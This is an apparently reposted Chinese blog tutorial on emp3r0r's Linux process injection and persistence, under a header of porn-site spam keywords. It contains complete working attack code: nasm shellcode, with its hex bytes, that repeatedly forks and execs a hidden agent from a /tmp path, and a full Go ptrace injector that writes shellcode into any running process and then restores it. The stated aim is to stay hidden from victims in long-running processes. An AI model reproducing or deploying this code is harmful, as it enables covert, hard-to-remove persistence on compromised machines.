日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

emp3r0r - Linux下的进程注入和持久化(初级)

發布時間:2025/3/15 linux 25 豆豆
生活随笔 收集整理的這篇文章主要介紹了 emp3r0r - Linux下的进程注入和持久化(初级) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

背景

本文所介紹的內容是emp3r0r框架持久化模塊的一部分。

Linux有一個獨特的東西叫procfs,把“Everything is a file”貫徹到了極致。從/proc/pid/maps我們能查看進程的內存地址分布,然后在/proc/pid/mem我們可以讀取或者修改它的內存。

所以理論上我們只需要一個dd和procfs即可將代碼注入一個進程,也確實有人寫了相關的工具。

但既然Linux提供了一個接口(只有這么一個,不像你們Windows),我們在通常情況下直接調用它就可以了。

ptrace

對,這唯一的接口就是ptrace。

這東西是用來操作進程的,大多用于調試器,它提供的功能足夠我們完成本文所需的shellcode注入以及進程恢復了。

我們的思路是:

  • attach到目標進程,將其接管

  • 把shellcode寫到RIP指向的位置,在此之前先備份原有的代碼

  • 恢復進程運行

  • shellcode執行到中斷,trap#SIGTRAP)并被我們接管

  • 我們把原先的代碼寫回去,寄存器也都恢復

  • 繼續原進程的執行

  • 進程的恢復

    看了上面的思路,這個似乎并不難。但別忘了,你的shellcode搞亂的不只是這段text和寄存器,它至少還搞亂了原進程的的stack,而且shellcode可能會一直堵塞主線程,這樣就永遠也不會回到原進程的執行流程了。

    而且有的shellcode會直接execve從而干脆利落地讓原進程成為虛無,你除了再execve回去基本上別無它法了。

    所以,我直接從原進程fork出一個子進程,在子進程里執行我的shellcode,順手恢復原進程,對進程的影響幾乎可以忽略不計。

    菜雞的第一份shellcode

    本菜雞從未寫過shellcode,是msfvenom的忠實用戶。

    我尋思著第一份shellcode就不寫爛大街的hello world了,直接寫個能用的豈不美哉。

    于是在duckduckgo和某開源社區大佬們的指導下,我逐漸明白了該怎么寫,武器化之后,就有了這篇文章。

    怎么寫

    啥語言

    正常情況下都是用匯編來寫,不過C也可以。某大佬推薦的是這樣:

    這樣寫顯而易見的好處是,我們不用費心去操作棧了,數據可以由C來安排好。

    本文使用純匯編來做,這種方法以后有機會再嘗試了。

    編輯器

    我當然直接用vim了,你們隨便找個熟悉的文本編輯器都可以。

    這里用的是nasm匯編器,使用Intel語法。

    nasm

    寫shellcode的話,不用section .data是最好的,省得多出來一堆\0字節。

    大體上一個針對x86_64的nasm匯編代碼長這樣:

    BITS 64 global _startsection .text _start:...your code...

    global _start類似于main,是給linker用的。BITS 64代表這是64位匯編。

    hex string

    上面寫的東西要轉成raw bytes才能用。首先你需要將它們匯編:

    ? nasm yourshellcode.asm -o shellcode.bin

    然后把這個二進制文件轉換成hex string:

    ? xxd -i shellcode.bin | grep 0x | tr -d '[:space:]' | tr -d ',' | sed 's/0x/\\x/g'\x48\x31\xc0\x48\x31\xff\xb0\x39\x0f\x05\x48\x83\xf8\x00\x7f\x5e\x48\x31\xc0\x48\x31\xff\xb0\x39\x0f\x05\x48\x83\xf8\x00\x74\x2c\x48\x31\xff\x48\x89\xc7\x48\x31\xf6\x48\x31\xd2\x4d\x31\xd2\x48\x31\xc0\xb0\x3d\x0f\x05\x48\x31\xc0\xb0\x23\x6a\x0a\x6a\x14\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xe2\xc4\x48\x31\xd2\x52\x48\x31\xc0\x48\xbf\x2f\x2f\x74\x6d\x70\x2f\x2f\x65\x57\x54\x5f\x48\x89\xe7\x52\x57\x48\x89\xe6\x6a\x3b\x58\x99\x0f\x05\xcd\x03

    如果你不需要這種C style的hex string,也可以這樣:

    ? rax2 -S < shellcode.bin4831c04831ffb0390f054883f8007f5e4831c04831ffb0390f054883f800742c4831ff4889c74831f64831d24d31d24831c0b03d0f054831c0b0236a0a6a144889e74831f64831d20f05e2c44831d2524831c048bf2f2f746d702f2f6557545f4889e752574889e66a3b58990f05cd03

    其中rax2是radare2的一部分。

    syscall

    syscall NR

    什么是syscall。

    為啥叫NR?我查到的是Numeric Reference,聽起來有點道理。

    簡單來說就是代表某個Linux API的數字了,你調用這個syscall的時候需要告訴Linux對應的編號。

    這里有一個全面的Linux syscall列表供查閱。

    需要注意的是不同架構下,syscall是不同的。我們這里只關心x86_64下的syscall,畢竟主流Linux主機幾乎全都是這個架構(說到這里我要吐槽一下,為什么至今Linux shellcode相關教程還在拿x86匯編教學?)。

    調用約定

    調用一個syscall的過程跟你調用別的什么函數沒區別,你設置好參數,call一下就完事了,它還會把返回值給你。

    那么用戶怎么知道往哪放參數,從哪取返回值呢?離開了編譯器的幫助,你得搞清楚它究竟是怎么工作的。

    上圖很清楚地展示了你該怎么使用這些syscall。

    對于x86_64架構的Linux而言,syscall NR也就是編號,需要放到RAX寄存器,調用完返回值也在這里面,然后參數依次放到RDI,RSI,RDX,R10…

    需要留意,有的參數是指針類型的,你傳入的必須是一個地址而不是數值本身。

    寫一個guardian

    本示例是emp3r0r的一部分,之后更新的版本可以在這里找到。

    看完了上面的介紹,是不是覺得很簡單呢?讓我們來寫個guardian程序試試吧。

    這段shellcode就是前面所提到思路的具體實現。

    我在寫這段東西的時候,遇到了不少小問題,對于初學者來說可能是會頭疼好久的問題,簡單列一下:

    • 需要指針參數的,先push入棧,再傳RSP

    • push的操作數超過4字節長,需要借助寄存器來push

    • 記得給字符串或者字符串數組加\0終止

    • label不能用保留字

    以上問題均針對nasm匯編器,如果你沒遇到,就不要告訴我了。

    還有些東西說一下:

    • 為什么還要wait子進程,因為不這樣的話子進程退出之后就變成zombie,在進程列表里太顯眼了。

    • 為什么fork兩次,因為我要execve,在當前進程干的話,當前進程就無了。

    • 為什么sleep,因為太頻繁了會把CPU搞飛起。

    • 為什么int 0x3,因為這樣是告訴父進程請調試我,是shellcode暫停,從而恢復原進程的關鍵

    BITS 64section .textglobal _start_start:;; forkxor rax, raxxor rdi, rdimov al, 0x39; syscall forksyscallcmp rax, 0x0; check return valuejg pause; int3 if in parentwatchdog:;; fork to exec agentxor rax, raxxor rdi, rdimov al, 0x39; syscall forksyscallcmp rax, 0x0; check return valueje exec; exec if in childwait4zombie:;; wait to clean up zombiesxor rdi, rdimov rdi, raxxor rsi, rsixor rdx, rdxxor r10, r10xor rax, raxmov al, 0x3dsyscallsleep:;; sleepxor rax, raxmov al, 0x23; syscall nanosleeppush 10; sleep nano secpush 20; secmov rdi, rspxor rsi, rsixor rdx, rdxsyscallloop watchdogexec:;; char **envpxor rdx, rdxpush rdx; '\0';; char *filenamexor rax, raxmov rdi, 0x652f2f706d742f2f; path to the executablepush rdi; save to stackpush rsppop rdimov rdi, rsp; you can delete this as it does nothing;; char **argvpush rdx; '\0'push rdimov rsi, rsp; argv[0]push 0x3b; syscall execvepop rax; ready to callcdqsyscallpause:;; trapint 0x3

    把shellcode武器化

    shellcode注入

    就像開頭所提到的,本文涉及的技術是emp3r0r后滲透框架的一部分。

    emp3r0r會將本文的shellcode自動注入一些常見的進程:

    在不影響原進程的情況下,我們同時在目標主機的業務進程里啟動了一大堆守護進程,除非受害者拿gdb去看,一般來說是很難察覺異常的。

    如果你有興致,也完全可以寫一個別的shellcode,實現更多好玩的功能。

    所以我們怎么注入?按照前面ptrace的方法,具體實現如下(之后的更新在這里查看):

    // Injector inject shellcode to arbitrary running process // target process will be restored after shellcode has done its job func Injector(shellcode *string, pid int) error {// format*shellcode = strings.Replace(*shellcode, ",", "", -1)*shellcode = strings.Replace(*shellcode, "0x", "", -1)*shellcode = strings.Replace(*shellcode, "\\x", "", -1)// decode hex shellcode stringsc, err := hex.DecodeString(*shellcode)if err != nil {return fmt.Errorf("Decode shellcode: %v", err)}// inject to an existing process or start a new one// check /proc/sys/kernel/yama/ptrace_scope if you cant inject to existing processesif pid == 0 {// start a child process to inject shellcode intosec := strconv.Itoa(RandInt(10, 30))child := exec.Command("sleep", sec)child.SysProcAttr = &syscall.SysProcAttr{Ptrace: true}err = child.Start()if err != nil {return fmt.Errorf("Start `sleep %s`: %v", sec, err)}pid = child.Process.Pid// attacherr = child.Wait() // TRAP the childif err != nil {log.Printf("child process wait: %v", err)}log.Printf("Injector (%d): attached to child process (%d)", os.Getpid(), pid)} else {// attach to an existing processproc, err := os.FindProcess(pid)if err != nil {return fmt.Errorf("%d does not exist: %v", pid, err)}pid = proc.Pid// https://github.com/golang/go/issues/43685runtime.LockOSThread()defer runtime.UnlockOSThread()err = syscall.PtraceAttach(pid)if err != nil {return fmt.Errorf("ptrace attach: %v", err)}_, err = proc.Wait()if err != nil {return fmt.Errorf("Wait %d: %v", pid, err)}log.Printf("Injector (%d): attached to %d", os.Getpid(), pid)}// read RIPorigRegs := &syscall.PtraceRegs{}err = syscall.PtraceGetRegs(pid, origRegs)if err != nil {return fmt.Errorf("my pid is %d, reading regs from %d: %v", os.Getpid(), pid, err)}origRip := origRegs.Riplog.Printf("Injector: got RIP (0x%x) of %d", origRip, pid)// save current code for restoring laterorigCode := make([]byte, len(sc))n, err := syscall.PtracePeekText(pid, uintptr(origRip), origCode)if err != nil {return fmt.Errorf("PEEK: 0x%x", origRip)}log.Printf("Peeked %d bytes of original code: %x at RIP (0x%x)", n, origCode, origRip)// write shellcode to .text section, where RIP is pointing atdata := scn, err = syscall.PtracePokeText(pid, uintptr(origRip), data)if err != nil {return fmt.Errorf("POKE_TEXT at 0x%x %d: %v", uintptr(origRip), pid, err)}log.Printf("Injected %d bytes at RIP (0x%x)", n, origRip)// peek: see if shellcode has got injectedpeekWord := make([]byte, len(data))n, err = syscall.PtracePeekText(pid, uintptr(origRip), peekWord)if err != nil {return fmt.Errorf("PEEK: 0x%x", origRip)}log.Printf("Peeked %d bytes of shellcode: %x at RIP (0x%x)", n, peekWord, origRip)// continue and waiterr = syscall.PtraceCont(pid, 0)if err != nil {return fmt.Errorf("Continue: %v", err)}var ws syscall.WaitStatus_, err = syscall.Wait4(pid, &ws, 0, nil)if err != nil {return fmt.Errorf("continue: wait4: %v", err)}// what happened to our child?switch {case ws.Continued():return nilcase ws.CoreDump():err = syscall.PtraceGetRegs(pid, origRegs)if err != nil {return fmt.Errorf("read regs from %d: %v", pid, err)}return fmt.Errorf("continue: core dumped: RIP at 0x%x", origRegs.Rip)case ws.Exited():return nilcase ws.Signaled():err = syscall.PtraceGetRegs(pid, origRegs)if err != nil {return fmt.Errorf("read regs from %d: %v", pid, err)}return fmt.Errorf("continue: signaled (%s): RIP at 0x%x", ws.Signal(), origRegs.Rip)case ws.Stopped():stoppedRegs := &syscall.PtraceRegs{}err = syscall.PtraceGetRegs(pid, stoppedRegs)if err != nil {return fmt.Errorf("read regs from %d: %v", pid, err)}log.Printf("Continue: stopped (%s): RIP at 0x%x", ws.StopSignal().String(), stoppedRegs.Rip)// restore registerserr = syscall.PtraceSetRegs(pid, origRegs)if err != nil {return fmt.Errorf("Restoring process: set regs: %v", err)}// breakpoint hit, restore the processn, err = syscall.PtracePokeText(pid, uintptr(origRip), origCode)if err != nil {return fmt.Errorf("POKE_TEXT at 0x%x %d: %v", uintptr(origRip), pid, err)}log.Printf("Restored %d bytes at origRip (0x%x)", n, origRip)// let it runerr = syscall.PtraceDetach(pid)if err != nil {return fmt.Errorf("Continue detach: %v", err)}log.Printf("%d will continue to run", pid)return nildefault:err = syscall.PtraceGetRegs(pid, origRegs)if err != nil {return fmt.Errorf("read regs from %d: %v", pid, err)}log.Printf("continue: RIP at 0x%x", origRegs.Rip)}return nil }

    這可能是為數不多的純go實現的ptrace進程注入工具之一。

    主要坑點有:

    • Go的syscall wrapper基本上是從來沒有文檔的

    • ptrace的tracer必須來自同一線程,這是Linux(或者說整個unix)設計的問題

    • 因為Go底層設計的原因,每次調用syscall wrapper,都是一個新線程,所以我研究了半天,靠runtime.LockOSThread()解決了這個問題

    然后具體原理就很簡單了,鑒于Go的syscall wrapper實際上把PTRACE_PEEKTEXT和PTRACE_POKETEXT限制的每次只能操作一個word給包裝成可操作任意長度數據,這個實現甚至比C原生實現還要簡單。

    關鍵點在于備份和恢復。記得我的shellcode寫了int 0x3吧?這里就是wait到int 0x3導致的trap的狀態,進行介入,并恢復原進程。

    在持久化方面的應用

    我目前把這個技術用在持久化方面。雖說不是真正意義上的持久化,但很多機器是萬年不重啟的,注入到一個幾乎不會重啟的進程里面,既不會被輕易發現,又很難被干掉。

    以下是注入到一個簡單demo程序的示例:

    /** This program is used to check shellcode injection* */#include <stdio.h> #include <time.h> #include <unistd.h>int main(int argc, char* argv[]) {time_t rawtime;struct tm* timeinfo;while (1) {sleep(1);time(&rawtime);timeinfo = localtime(&rawtime);printf("%s: sleeping\n", asctime(timeinfo));}return 0; }

    shellcode成功注入,原進程繼續運行,只是多了個守護emp3r0r的任務。

    ?

    總結

    以上是生活随笔為你收集整理的emp3r0r - Linux下的进程注入和持久化(初级)的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。